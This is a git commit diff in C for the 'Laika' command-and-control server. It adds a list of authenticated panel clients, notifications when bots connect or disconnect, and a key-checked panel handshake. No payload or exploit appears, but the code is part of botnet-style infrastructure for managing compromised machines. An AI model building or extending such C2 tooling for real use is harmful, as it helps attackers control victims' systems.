Added cnc's panel list, minor refactoring of packets

This commit is contained in:
CPunch 2022-02-12 18:21:59 -06:00
parent 49a992c70a
commit a442f2f493
5 changed files with 140 additions and 4 deletions

View File

@ -11,11 +11,20 @@ struct sLaika_cnc {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct sLaika_peer **panels; /* holds connected panel peers */
int panelCount;
int panelCap;
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);

10
cnc/include/cpanel.h Normal file
View File

@ -0,0 +1,10 @@
#ifndef LAIKA_CNC_PANEL_H
#define LAIKA_CNC_PANEL_H
#include "lpeer.h"
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData);
#endif

View File

@ -3,13 +3,15 @@
#include "lsocket.h"
#include "lerror.h"
#include "cpanel.h"
#include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
};
void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
uint8_t major, minor;
@ -39,17 +41,24 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_endOutPacket(peer);
/* send bot connection info to any connected panel clients */
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
}
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = handleHandshakeRequest
[LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake,
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
size_t _unused;
cnc->panels = NULL;
cnc->panelCap = 4;
cnc->panelCount = 0;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock);
laikaP_initPList(&cnc->pList);
@ -86,10 +95,54 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaM_free(cnc);
}
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
/* notify connected panels of the connected peer */
for (i = 0; i < cnc->panelCount; i++) {
laikaC_sendNewPeer(cnc->panels[i], peer);
}
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
/* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->panelCount; i++) {
laikaC_sendRmvPeer(cnc->panels[i], peer);
}
}
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
int i;
for (i = 0; i < cnc->panelCount; i++) {
if (cnc->panels[i] == panel) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->panels, cnc->panelCap, i, 1);
break;
}
}
}
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap);
/* insert into authenticated panel table */
cnc->panels[cnc->panelCount++] = panel;
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
LAIKA_DEBUG("peer %lx killed!\n", peer);
laikaC_onRmvPeer(cnc, peer);
/* remove peer from panels list (if it's a panel) */
if (peer->type == PEER_PANEL)
laikaC_rmvPanel(cnc, peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaS_freePeer(peer);
LAIKA_DEBUG("peer %lx killed!\n", peer);
}
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
@ -121,6 +174,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* add to our pollList */
laikaP_addSock(&cnc->pList, &peer->sock);
laikaC_onAddPeer(cnc, peer);
LAIKA_DEBUG("new peer %lx!\n", peer);
continue;
}

60
cnc/src/cpanel.c Normal file
View File

@ -0,0 +1,60 @@
#include "lerror.h"
#include "cnc.h"
#include "cpanel.h"
inline void checkAuthenticated(struct sLaika_peer *peer) {
if (peer->type != PEER_PANEL)
LAIKA_ERROR("malicious peer!");
}
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
laikaC_sendNewPeer(panel, peer);
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT);
/* write the bot's pubkey & peerType */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
laikaS_endOutPacket(panel);
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT);
/* write the bot's pubkey */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
laikaS_endOutPacket(panel);
}
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
panel->type = laikaS_readByte(&panel->sock);
switch (panel->type) {
case PEER_CNC:
case PEER_PANEL:
/* check that peer's pubkey is authenticated */
if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
LAIKA_ERROR("unauthorized panel!\n");
/* add to cnc's list of authenticated panels */
laikaC_addPanel(cnc, panel);
LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel);
/* they passed! send list of our peers */
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type);
}
}

View File

@ -34,11 +34,13 @@ enum {
LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
*/
LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
//LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ: